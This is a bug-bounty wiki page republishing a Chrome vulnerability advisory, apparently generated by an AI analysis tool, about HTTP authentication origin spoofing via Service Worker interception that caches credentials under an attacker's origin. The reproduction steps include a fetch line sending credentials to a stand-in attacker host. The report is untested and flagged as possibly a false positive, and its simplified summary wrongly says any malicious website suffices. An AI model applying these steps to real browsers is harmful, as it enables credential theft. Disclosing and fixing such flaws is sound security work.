Skip to content
Access control Advisory Advanced CVE-2026-95382

Improper input validation in Auth (CVE-2026-95382)

A compromised renderer could spoof the origin of an HTTP authentication challenge via a Service Worker navigation intercept, causing the browser to display a legitimate URL in the login dialog but cache the entered credentials under the attacker's origin. The attacker could then exfiltrate those credentials in subsequent cross-origin requests.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 6 months

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: A compromised renderer can spoof the origin of an HTTP authentication challenge by returning a fabricated AuthChallengeInfo from a Service Worker navigation intercept. The browser's native login dialog displays the legitimate navigation URL to the user, but caches the entered credentials under the attacker's spoofed origin. These stolen credentials are then automatically exfiltrated to the attacker's server in subsequent cross-origin requests.

Affected files:

  • chrome/browser/ui/login/login_tab_helper.cc
  • third_party/blink/common/service_worker/service_worker_loader_helpers.cc
  • services/network/network_context.cc
  • content/browser/renderer_host/navigation_request.cc
  • chrome/browser/ui/login/login_handler.cc
  • net/http/http_auth_cache.cc
  • net/http/http_auth_controller.cc

Estimated timestamp from git blame: 2022-10-08

Summary

There is a potential vulnerability where a compromised renderer process can exploit Service Worker navigation interception to perform UI spoofing and poison the browser's HTTP authentication cache.

When a Service Worker intercepts a main-frame navigation, it can return a response via the ServiceWorkerFetchResponseCallback::OnResponse Mojo interface. This FetchAPIResponse contains an optional auth_challenge_info field. A compromised renderer can populate this field with a 401 status and a spoofed challenger origin (e.g., https://attacker.example).

The browser process accepts this information without sufficient validation in release builds, leading to a scenario where the user is presented with a native OS authentication dialog displaying the legitimate navigation URL, but the credentials they enter are saved and sent to the attacker's origin.

Root Cause

  1. Missing Validation on IPC Receive: In third_party/blink/common/service_worker/service_worker_loader_helpers.cc, the SaveResponseInfo function blindly copies the auth_challenge_info from the renderer-supplied response into the URLResponseHead used by the browser.
  2. UI vs. Cache Discrepancy:
    • LoginHandler::GetDialogStrings (in chrome/browser/ui/login/login_handler.cc) formats the native dialog's "authority" string using the legitimate request_url (e.g., https://legitimate.example). The user sees this and believes they are authenticating to the legitimate site.
    • However, LoginTabHelper::HandleCredentials (in chrome/browser/ui/login/login_tab_helper.cc) uses the attacker-controlled challenge_ (which contains https://attacker.example as the challenger) when calling NetworkContext::AddAuthCacheEntry.
  3. Bypassed Security Check: The only check currently in place to ensure the challenger origin matches the request_url origin is a DCHECK in LoginHandler::MakeInputForPasswordManager (chrome/browser/ui/login/login_handler.cc:333). Because DCHECK macros are compiled out in Release and Official builds, this critical validation is silently bypassed in production.

Suggested Steps to Reproduce

Note: These steps are potential as our tooling agent does not run code, but are based on tracing the codebase logic.

  1. Assume an attacker compromises a renderer process that has a Service Worker registered for a scope (e.g., https://legitimate.example/).
  2. The user initiates a main-frame navigation within that scope (e.g., https://legitimate.example/login).
  3. From the compromised Service Worker, the attacker intercepts the request and invokes ServiceWorkerFetchResponseCallback::OnResponse with a fabricated FetchAPIResponse where:
    • status_code is 401.
    • auth_challenge_info.challenger is set to an attacker-controlled origin (e.g., https://attacker-collector.example).
    • auth_challenge_info.scheme is set to 'basic'.
  4. The browser receives the response and triggers LoginTabHelper::DidFinishNavigation.
  5. The browser displays a native HTTP authentication dialog. Crucially, the dialog displays https://legitimate.example, deceiving the user.
  6. The user enters their credentials into the dialog.
  7. The browser caches these credentials in the HttpAuthCache under the key https://attacker-collector.example.
  8. The attacker's compromised renderer triggers a subresource fetch to https://attacker-collector.example/ (e.g., fetch("https://attacker-collector.example/exfiltrate")).
  9. The Network Service's HttpAuthController::SelectPreemptiveAuth matches the poisoned entry and automatically attaches the user's plaintext credentials in an Authorization header to the outgoing request, exfiltrating them to the attacker's server.

Impact

This vulnerability allows a compromised renderer to steal user credentials by deceiving the user with a legitimate-looking native OS prompt, and then exfiltrating those credentials to an attacker-controlled server. This is a significant breach of the renderer-to-browser security boundary (sandbox escape/privilege escalation).

Suggested Fix

The browser process must validate the auth_challenge_info received from a renderer before trusting it.

  1. In ServiceWorkerMainResourceLoader::StartResponse (or a similar central location where the Service Worker response is processed), add a check to verify that if auth_challenge_info is present and it is not a proxy challenge (!is_proxy), the challenger origin must match the origin of the request URL (or the Service Worker's origin).
  2. If the validation fails, the browser should reject the response, potentially terminating the misbehaving renderer process (using mojo::ReportBadMessage), as this indicates a compromised or malicious renderer attempting UI spoofing/cache poisoning.
  3. Upgrade the DCHECK in LoginHandler::MakeInputForPasswordManager to a CHECK or handle the error gracefully to provide defense-in-depth.

Evaluated with Chrome root at commit: a9cbf6e8b275fe4147435aa905f3b7f5a656f5f0


Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the browser process trusts the authentication challenge information supplied by the renderer without validating that the challenger origin matches the request URL, and the only check is a debug-only assertion that is removed in release builds.

Impact

This could allow a compromised renderer to steal user credentials by deceiving the user with a legitimate-looking native prompt and exfiltrating them to an attacker-controlled server, breaching the renderer-to-browser security boundary.

What the attacker needed

Compromised renderer process; Service Worker registered for a scope; user enters credentials in dialog

The fix

The browser process should validate the authentication challenge information received from a renderer, rejecting responses where the challenger origin does not match the request URL, and upgrade the debug-only check to a release check.

How it was found

  1. Assume an attacker compromises a renderer process that has a Service Worker registered for a scope.
  2. The user initiates a main-frame navigation within that scope.
  3. The compromised Service Worker intercepts the request and returns a fabricated response with a 401 status and a spoofed challenger origin.
  4. The browser displays a native HTTP authentication dialog showing the legitimate URL.
  5. The user enters their credentials, which are cached under the attacker's origin.
  6. The attacker triggers a subresource fetch to their origin, and the browser automatically attaches the stolen credentials.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website asks for a username and password, the browser shows a pop-up. This report says a malicious website could make the pop-up show the real site's address while secretly saving the password for the attacker's site. Then the attacker's site could automatically receive the password later.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.